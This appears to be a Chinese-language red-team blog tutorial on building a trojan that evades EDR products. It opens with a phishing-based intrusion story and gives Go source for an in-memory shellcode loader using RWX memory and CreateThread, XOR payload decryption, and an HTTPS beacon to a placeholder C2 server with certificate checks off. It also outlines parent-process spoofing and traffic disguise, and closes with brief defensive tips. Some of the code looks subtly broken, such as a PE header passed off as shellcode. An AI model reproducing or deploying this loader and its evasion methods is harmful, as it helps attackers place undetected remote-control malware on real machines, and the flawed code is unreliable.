一、一次真实的内网渗透引发的思考

几个月前的一次授权渗透测试任务中,我的目标是攻破一家企业的研发内部网络,并获取其核心代码库的访问权限。通过多种方式的信息收集,我发现目标公司内部使用了一些基于 Windows 的远程管理工具,这些工具与其开发者的环境有高度绑定。

在尝试初步的钓鱼攻击后,我成功地在目标网络中部署了一款自定义的远控木马。然而,随后的操作却遇到了意料之外的阻碍:目标网络的EDR(Endpoint Detection and Response)工具对我的木马进行了拦截,并迅速上报。我意识到,如果想要完成这次任务,我需要一款能够绕过EDR检测的免杀远控木马。

这篇文章将基于我在这次任务中的经验,详细解剖如何构造一款免杀的远控木马,包括技术细节、绕过思路以及实现代码。只需记住本文仅限于合法授权的安全研究,切勿用于非法用途。

黑客示意图

---

二、免杀远控的核心逻辑

在开发一款能够绕过检测的远控木马之前,我们需要明确EDR/AV的主要检测机制。通过对目标EDR的深入研究,我发现其对恶意载荷的拦截基于以下几个关键点:

  1. 静态签名检测:通过特征码比对已知恶意样本;
  2. 行为分析检测:监控进程的行为特征,如内存操作、网络通信等;
  3. 沙盒检测:在虚拟化环境中执行文件,观察是否存在恶意行为;
  4. 模型分析:基于机器学习模型的行为预测。

针对以上机制,一个理想的免杀木马需要具备以下能力:

  • 动态生成恶意代码,避免静态特征码;
  • 利用合法程序的信任链,伪装恶意行为;
  • 在沙盒环境中表现为“无害”;
  • 通过流量加密、混淆降低通信特征。

接下来,让我们从搭建实验环境开始,逐步实现这一目标。

---

黑客示意图

三、搭建你的免杀实验室

为了保证研究的安全性和效果,实验环境至关重要。以下是本次实验环境的搭建流程:

环境配置清单

  • 目标主机:Windows 10 x64,安装主流EDR工具(如CrowdStrike)。
  • 攻击主机:Kali Linux,预装开发工具(Go、Python、GCC)。
  • C2服务器:Ubuntu 20.04,运行 Cobalt Strike 或 Sliver。

配置步骤

  1. 在目标主机上安装企业级防护工具,并启用安全策略;
  2. 在攻击主机上准备用于编译的工具链(尤其是Go语言环境);
  3. 在C2服务器上搭建SSL加密通信通道,确保流量难以被解密。

实验环境准备完成后,我们将进入免杀木马的开发环节。

黑客示意图

---

四、Payload构造的艺术

为了最大限度地避免静态检测,我们的Payload需要动态生成,并通过反射加载到目标内存中执行。以下是一个基于Go语言的简单免杀木马实现。

核心代码

下面的代码展示如何使用Go动态生成和加载恶意Payload:

<pre><code class="language-go">package main

import ( &quot;encoding/base64&quot; &quot;fmt&quot; &quot;os&quot; &quot;syscall&quot; &quot;unsafe&quot; )

// 恶意Payload(示例为一个弹窗) var payload = &quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...&quot;

func main() { // 1. 解码Base64编码的Payload shellcode, err := base64.StdEncoding.DecodeString(payload) if err != nil { fmt.Println(&quot;Failed to decode payload:&quot;, err) os.Exit(1) }

// 2. 分配内存,标记为可执行 funcAddr, err := syscall.VirtualAlloc(0, uintptr(len(shellcode)), syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE) if err != nil { fmt.Println(&quot;Failed to allocate memory:&quot;, err) os.Exit(1) }

// 3. 将Payload写入内存 copy((*[4096]byte)(unsafe.Pointer(funcAddr))[:], shellcode)

// 4. 创建线程执行Payload thread, _, err := syscall.CreateThread(nil, 0, funcAddr, 0, 0, nil) if err != nil { fmt.Println(&quot;Failed to create thread:&quot;, err) os.Exit(1) }

// 等待线程完成 syscall.WaitForSingleObject(thread, syscall.INFINITE) }</code></pre>

代码解读

  • Base64编码:隐藏Payload的二进制特征;
  • VirtualAlloc:动态分配内存空间;
  • CreateThread:创建新线程执行Payload。

该代码只是一个基础框架,接下来我们将介绍如何进一步混淆和优化。

---

五、避开检测的几招“大杀器”

1. 动态解密Payload

通过将Payload加密并在运行时解密,可以有效对抗静态签名检测。以下是改进的解密版本:

黑客示意图

<pre><code class="language-go">func decryptPayload(encrypted []byte, key byte) []byte { decoded := make([]byte, len(encrypted)) for i := range encrypted { decoded[i] = encrypted[i] ^ key } return decoded }

func main() { // 使用简单XOR解密 key := byte(0x42) encryptedPayload := []byte{...} // 密文Payload payload := decryptPayload(encryptedPayload, key) // 其他逻辑与上文相同 }</code></pre>

2. 反射动态加载

避免直接在代码中调用敏感API,而是利用反射技术动态调用。例如,将 CreateThread 替换为反射调用。

3. 父进程伪装

通过指定合法的父进程(如explorer.exe),降低EDR对异常行为的关注。

---

六、流量伪装与通信对抗

如果恶意流量被识别,木马的行为仍可能被拦截。以下是常见的伪装策略:

  • HTTPS加密:使用TLS封装所有通信流量;
  • 合法协议伪装:将通信嵌套在HTTP、DNS等常见协议中。

通过以下代码实现简单的HTTPS通信:

<pre><code class="language-go">package main

import ( &quot;crypto/tls&quot; &quot;fmt&quot; &quot;net/http&quot; )

func main() { // 配置HTTPS客户端 tr := &amp;http.Transport{ TLSClientConfig: &amp;tls.Config{InsecureSkipVerify: true}, } client := &amp;http.Client{Transport: tr}

// 向C2发送数据 resp, err := client.Get(&quot;https://your-c2-server.com/ping&quot;) if err != nil { fmt.Println(&quot;Communication error:&quot;, err) return } defer resp.Body.Close() fmt.Println(&quot;C2 Response:&quot;, resp.Status) }</code></pre>

---

七、检测与防御:与攻击者的博弈

开发免杀木马的最终目标是帮助防御者理解攻击者的思路,从而改进检测策略。以下是我的一些建议:

  1. 动态分析优先:结合行为特征和沙盒技术,提升检测能力;
  2. 流量分析:关注非标准通信协议的加密流量;
  3. 威胁情报:及时更新特征库,识别加密Payload的模式。

---

八、总结:红队视角下的技术演化

本文从真实案例出发,展示了一款免杀木马的开发全过程,并针对EDR检测技术提出了绕过方案。这些技术在合法授权的渗透测试中具有重要价值,但也提醒我们,攻防对抗永无止境。

希望通过这篇文章,你能从红队视角更好地理解免杀技术的本质。记住,最强的防御,始于对攻击的深刻理解。